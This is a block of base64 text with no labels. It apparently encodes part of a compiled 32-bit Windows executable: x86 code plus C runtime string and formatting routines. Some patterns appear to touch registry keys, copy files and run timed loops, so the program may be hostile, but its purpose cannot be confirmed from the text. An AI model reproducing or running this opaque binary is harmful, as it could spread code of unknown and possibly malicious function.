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 